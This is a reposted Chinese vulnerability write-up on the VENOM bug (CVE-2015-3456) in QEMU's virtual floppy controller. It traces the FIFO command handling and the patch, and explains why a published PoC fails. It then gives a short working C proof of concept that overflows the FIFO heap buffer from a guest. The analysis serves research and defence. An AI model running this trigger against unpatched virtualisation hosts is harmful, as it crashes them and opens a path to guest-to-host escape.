转载

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

作者:progmboy、noirfate、cyg07

漏洞简介

CrowdStrike的Jason Geffner发现开源计算机仿真器QEMU中存在一个和虚拟软盘控制器相关的安全漏洞,代号VENOM,CVE编号为CVE-2015-3456。利用此漏洞攻击者可以在有问题的虚拟机中进行逃逸,并且可以在宿主机中获得代码执行的权限。更多详情见作者博客[1]

背景知识

此漏洞位于qemu的虚拟软驱控制器的模拟代码中。下面介绍几个关于软驱的几个重要的地方。

  • 控制寄存器

软驱控制器是由9个寄存器进行控制的,这些寄存器可以通过端口0x3f0-0x3f7进行访问(0x3f6除外[2])。软驱控制器寄存器的定义如下:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

漏洞相关的寄存器是DATA_FIFO。

  • MSR

同时软驱控制器的MSR标记位表明当时软驱控制器的状态。此次漏洞相关的MSR标记位的定义如下表:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

  • FIFO命令

命令是向DATA_FIFO写入的一个小于32的单字节的值,每个命令后面都要跟着一些指定长度的参数。命令的ID定义如下所示:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

更多见 OSDev wiki 上的关于软驱控制器的文章

漏洞分析

1.POC触发不了

国外一名安全研究者Marcus Meissner发布了此漏洞poc如下:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

我们可以看到,都是向DATA_FIFO端口写入数据,笔者拿到poc先在自己的机器上测试发现poc并不能触发,先不管原因,我们先来分析下qemu对FIFO命令的处理。

2.FIFO命令处理流程

经过分析,我们可以得出其流程如下: 首先qemu将FIFO的处理函数以及命令对应的参数个数等信息存放在一个表中 ,如下所示:

1.   static const struct {
2.      uint8_t value; 3.      uint8_t mask;
4.       const char * name;
5.       int parameters;
6.       void (*handler)(FDCtrl *fdctrl,  int direction);
7.       int direction;
8.  } handlers[] = {
9.      { FD_CMD_READ, 0x1f,  "READ" , 8, fdctrl_start_transfer, FD_DI
R_READ },
10.      { FD_CMD_WRITE, 0x3f,  "WRITE" , 8, fdctrl_start_transfer, FD_DI
R_WRITE },
11.      { FD_CMD_SEEK, 0xff,  "SEEK" , 2, fdctrl_handle_seek },
12.      { FD_CMD_SENSE_INTERRUPT_STATUS, 0xff, "SENSE INTERRUPT STATU S", 0, fdctrl_handle_sense_interrupt_status },
13.      { FD_CMD_RECALIBRATE, 0xff,  "RECALIBRATE" , 1, fdctrl_handle_re
calibrate },
14.      { FD_CMD_FORMAT_TRACK, 0xbf,  "FORMAT TRACK" , 5, fdctrl_handl
e_format_track },
15.      { FD_CMD_READ_TRACK, 0xbf,  "READ TRACK" , 8, fdctrl_start_trans
fer, FD_DIR_READ },
16.      { FD_CMD_RESTORE, 0xff,  "RESTORE" , 17, fdctrl_handle_restore
},  /* part of READ DELETED DATA */
17.      { FD_CMD_SAVE, 0xff,  "SAVE" , 0, fdctrl_handle_save },  /* part
of READ DELETED DATA */
18.      { FD_CMD_READ_DELETED, 0x1f,  "READ DELETED DATA" , 8, fdctrl_st
art_transfer_del, FD_DIR_READ },
19.      { FD_CMD_SCAN_EQUAL, 0x1f,  "SCAN EQUAL" , 8, fdctrl_start_trans
fer, FD_DIR_SCANE },
20.      { FD_CMD_VERIFY, 0x1f,  "VERIFY" , 8, fdctrl_start_transfer, F
D_DIR_VERIFY },
21.      { FD_CMD_SCAN_LOW_OR_EQUAL, 0x1f,  "SCAN LOW OR EQUAL" , 8, fdct
rl_start_transfer, FD_DIR_SCANL },
22.      { FD_CMD_SCAN_HIGH_OR_EQUAL, 0x1f,  "SCAN HIGH OR EQUAL" , 8, fd
ctrl_start_transfer, FD_DIR_SCANH },
23.      { FD_CMD_WRITE_DELETED, 0x3f,  "WRITE DELETED DATA" , 8, fdctr
l_start_transfer_del, FD_DIR_WRITE },
24.      { FD_CMD_READ_ID, 0xbf,  "READ ID" , 1, fdctrl_handle_readid },
25.      { FD_CMD_SPECIFY, 0xff,  "SPECIFY" , 2, fdctrl_handle_specify },
26.      { FD_CMD_SENSE_DRIVE_STATUS, 0xff,  "SENSE DRIVE STATUS" , 1, fd
ctrl_handle_sense_drive_status },
27.      { FD_CMD_PERPENDICULAR_MODE, 0xff,  "PERPENDICULAR MODE" , 1, fd
ctrl_handle_perpendicular_mode },
28.      { FD_CMD_CONFIGURE, 0xff,  "CONFIGURE" , 3, fdctrl_handle_config
ure },
29.      { FD_CMD_POWERDOWN_MODE, 0xff,  "POWERDOWN MODE" , 2, fdctrl_han
dle_powerdown_mode },
30.      { FD_CMD_OPTION, 0xff,  "OPTION" , 1, fdctrl_handle_option },
31.      { FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, "DRIVE SPECIFICATI ON COMMAND", 5, fdctrl_handle_drive_specification_command },
32.      { FD_CMD_RELATIVE_SEEK_OUT, 0xff,  "RELATIVE SEEK OUT" , 2, fdct
rl_handle_relative_seek_out },
33.      { FD_CMD_FORMAT_AND_WRITE, 0xff,  "FORMAT AND WRITE" , 10, fdctr
l_unimplemented },
34.      { FD_CMD_RELATIVE_SEEK_IN, 0xff,  "RELATIVE SEEK IN" , 2, fdctr
l_handle_relative_seek_in },
35.      { FD_CMD_LOCK, 0x7f,  "LOCK" , 0, fdctrl_handle_lock },
36.      { FD_CMD_DUMPREG, 0xff,  "DUMPREG" , 0, fdctrl_handle_dumpreg },
37.      { FD_CMD_VERSION, 0xff,  "VERSION" , 0, fdctrl_handle_version },
38.      { FD_CMD_PART_ID, 0xff,  "PART ID" , 0, fdctrl_handle_partid },
39.      { FD_CMD_WRITE, 0x1f,  "WRITE (BeOS)" , 8, fdctrl_start_transfe
r, FD_DIR_WRITE },  /* not in specification ; BeOS 4.5 bug */
40.      { 0, 0,  "unknown" , 0, fdctrl_unimplemented },  /* default handl
er */ 41.  };

表的每一项都定义了相应命令的一些信息,这里我们将被一项称为一个Handler下同。当qemu接收到FIFO命令之后,通过命令的ID找到这个命令的Handler,然后再根据这个Handler中保存的参数的个数来继续接收参数。并将命令ID和参数放在一个buffer中。在接受完参数后调用相应的处理函数。整个FIFO写操作派发流程都是在函数fdctrl_write_data里。

1.   static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
2.  { 3.      ... 4.
5.       //
6.       // 这里对msr的状态进行检查.见背景知识中的msr一段.
7.       // 这里必须FD_MSR_RQM置位,就是说控制器已经准备好交换数据了
8.       // FD_MSR_DIO必须置0,说明控制器不能处在要被读的状态
9.       //
10.
11.       if (!(fdctrl‐>msr & FD_MSR_RQM) || (fdctrl‐>msr & FD_MSR_DIO))
{
12.          FLOPPY_DPRINTF("error: controller not ready  for writin
g/n");
13.           return ;
14.      } 15.
16.       //
17.       // 如果参数为0说明此次为命令字节。这里通过命令ID找到相应的
18.       // Handler.获取参数的个数
19.       //
20.
21.       if (fdctrl‐>data_pos == 0) {
22.          pos = command_to_handler[value & 0xff];
23.          FLOPPY_DPRINTF( "%s command/n" , handlers[pos].name);
24.
25.           //
26.           // 获取参数个数
27.           // +1是为了加上command id
28.           //
29. 30.          fdctrl‐>data_len = handlers[pos].parameters + 1; 31.          fdctrl‐>msr |= FD_MSR_CMDBUSY; 32.      } 33.      ... 34.
35.       //
36.       // 将传入字节保存到fdctrl‐>fifo这个buffer中.
37.       //
38. 39.      fdctrl‐>fifo[fdctrl‐>data_pos++] = value; 40.
41.       //
42.       // 判断参数是否已经保存完成,如果参数保存完成就调用相应的处理函数
43.       //
44.
45.       if (fdctrl‐>data_pos == fdctrl‐>data_len) {
46.          pos = command_to_handler[fdctrl‐>fifo[0] & 0xff]; 47.          (*handlers[pos].handler)(fdctrl, handlers[pos].direction); 48.      } 49.  }

在处理函数中如果有返回的数据。控制器模拟代码则调用fdctrl_set_fifo这个函数来设置MSR的状态为FD_MSR_DIO,已表示控制器处在可被读状态。注意:设置完以后控制器是不可读的见fdctrl_write_data开始的那个检查。fdctrl_set_fifo代码如下:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

如果没有要返回的数据或者返回的数据已经被客户机通过IN指令读取完了,则会调用fdctrl_reset_fifo来重置FIFO。即将FIFO置为可写状态。fdctrl_reset_fifo:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

3.为什么不能触发

通过以上流程的分析,我们再来看Marcus Meissner公布的poc的流程:

首先发送一个id为0xa的控制命令。我们可以看到id为0xa的命令为FD_CMD_READ_ID,其对应的处理函数为fdctrl_handle_readid,参数个数为1个。

  1. { FD_CMD_READ_ID, 0xbf, “READ ID”, 1, fdctrl_handle_readid },

之后又会写入一个0x42作为READ_ID命令的参数。接下来进入到fdctrl_handle_readid函数内。经过笔者调试fdctrl_handle_readid这个函数启动了一个定时器。在定时器被触发的时候程序调用了fdctrl_set_fifo来生成返回数据。所以接下来的向FIFO写0x42的操作完全没有用,被fdctrl_write_data开始的fdctrl->msr & FD_MSR_DIO这个检查给拦下了。所以这个poc在笔者的机器上并不能触发。

4.新的触发方式

我们先来看下补丁的代码:

1.  ‐‐‐ a/hw/block/fdc.c 2.  +++ b/hw/block/fdc.c
3.  @@ ‐1497,7 +1497,7 @@  static uint32_t fdctrl_read_data(FDCtrl *fdc
trl) 4.   { 5.       FDrive *cur_drv; 6.       uint32_t retval = 0;
7.  ‐     int pos;
8.  +    uint32_t pos; 9. 10.       cur_drv = get_cur_drv(fdctrl); 11.       fdctrl‐>dsr &= ~FD_DSR_PWRDOWN;
12.  @@ ‐1506,8 +1506,8 @@  static uint32_t fdctrl_read_data(FDCtrl *fdc
trl)
13.            return 0;
14.       } 15.       pos = fdctrl‐>data_pos; 16.  +    pos %= FD_SECTOR_LEN;
17.        if (fdctrl‐>msr & FD_MSR_NONDMA) {
18.  ‐        pos %= FD_SECTOR_LEN;
19.            if (pos == 0) {
20.                if (fdctrl‐>data_pos != 0)
21.                    if (!fdctrl_seek_to_next_sect(fdctrl, cur_drv)) {
22.  @@ ‐1852,10 +1852,13 @@  static void fdctrl_handle_option(FDCtrl *f
dctrl,  int direction)
23.    static void fdctrl_handle_drive_specification_command(FDCtrl *fdc
trl,  int direction)
24.   { 25.       FDrive *cur_drv = get_cur_drv(fdctrl); 26.  +    uint32_t pos; 27.
28.  ‐     if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x80) {
29.  +    pos = fdctrl‐>data_pos ‐ 1; 30.  +    pos %= FD_SECTOR_LEN;
31.  +     if (fdctrl‐>fifo[pos] & 0x80) {
32.            /* Command parameters done */
33.  ‐         if (fdctrl‐>fifo[fdctrl‐>data_pos ‐ 1] & 0x40) {
34.  +         if (fdctrl‐>fifo[pos] & 0x40) {
35.               fdctrl‐>fifo[0] = fdctrl‐>fifo[1]; 36.               fdctrl‐>fifo[2] = 0; 37.               fdctrl‐>fifo[3] = 0;
38.  @@ ‐1955,7 +1958,7 @@  static uint8_t command_to_handler[256];
39.    static void fdctrl_write_data(FDCtrl *fdctrl, uint32_t value)
40.   { 41.       FDrive *cur_drv;
42.  ‐     int pos;
43.  +    uint32_t pos; 44.
45.        /* Reset mode */
46.        if (!(fdctrl‐>dor & FD_DOR_nRESET)) {
47.  @@ ‐2004,7 +2007,9 @@  static void fdctrl_write_data(FDCtrl *fdctr
l, uint32_t value) 48.       } 49.
50.       FLOPPY_DPRINTF( "%s: %02x/n" , __func__, value);
51.  ‐    fdctrl‐>fifo[fdctrl‐>data_pos++] = value; 52.  +    pos = fdctrl‐>data_pos++; 53.  +    pos %= FD_SECTOR_LEN; 54.  +    fdctrl‐>fifo[pos] = value;
55.        if (fdctrl‐>data_pos == fdctrl‐>data_len) {
56.           /* We now have all parameters 57.            * and will be able to treat the command

可以看到基本上就是补了一些对fdctrl->fifo这个buffer下标的一些防止越界的操作。我们可以肯定这个肯定是个写越界操作了。按照这个思路我们查看了所有命令的处理函数,发现FD_CMD_DRIVE_SPECIFICATION_COMMAND的处理函数有问题。先看下FD_CMD_DRIVE_SPECIFICATION_COMMAND命令的Handler,如下:

  1. { FD_CMD_DRIVE_SPECIFICATION_COMMAND, 0xff, “DRIVE SPECIFICATION COMMAND”, 5, fdctrl_handle_drive_specification_command }

命令处理函数为fdctrl_handle_drive_specification_command,参数个数为5。再来看下fdctrl_handle_drive_specification_command函数的实现:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

我们找到fdctrl->data_len > 7这个判断是有问题的。我们从fdctrl_write_data这个函数开始,首先传进命令字节FD_CMD_DRIVE_SPECIFICATION_COMMAND,然后依次传进5个参数。按照fdctrl_write_data的流程进入处理函数fdctrl_handle_drive_specification_command时fdctrl->data_len 应该是6,所以我们让fdctrl_handle_drive_specification_command的第一个判断里fdctrl->fifo[fdctrl->data_pos – 1]是我们可控的再加上下面的这个fdctrl->data_len > 7这个判断也为否,就绕过了所有调用fdctrl_set_fifo和fdctrl_reset_fifo的地方就是控制器的状态还是可写,而且buffer没有被清空。然后我们就可以无限次向fdctrl->fifo里写入数据,从而超出fdctrl->fifo的边界造成越界写。

fdctrl->fifo的初始化是在fdctrl_realize_common里面:

  static void fdctrl_realize_common(FDCtrl *fdctrl, Error **errp){
    //
    // qemu_memalign最终会调用malloc分配内存
    //
    fdctrl‐>fifo = qemu_memalign(512, FD_SECTOR_LEN);
    fdctrl‐>fifo_size = 512;
  }

5.可重现POC

  #include <sys/io.h>
  #define FIFO 0x3f5
  int main() {
      int i;
      iopl(3);
      outb(0x8e,0x3f5);  /* READ ID */
      for (i=0;i<10000000;i++)
          outb(0x42,0x3f5);  /* push */
  }

6.重现成功

linux guest:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

windows guest:

VENOM “毒液”漏洞分析(qemu kvm CVE‐2015‐3456)

漏洞总结

这个漏洞为典型的堆溢出漏洞,其表现形式为越界写操作。 此漏洞的利用可能还是很大的。另外即使虚拟机没有设置软驱,其漏洞还是无法避免的。鉴于该漏洞属于高危漏洞,建议尽快在源码层面上对QEMU实现补丁升级。

[1]此漏洞原作者博客 http://venom.crowdstrike.com/

[2] IO端口0x3F6是ATA(硬盘)备用状态寄存器,并且不使用任何软盘控制器。

正文到此结束
Loading...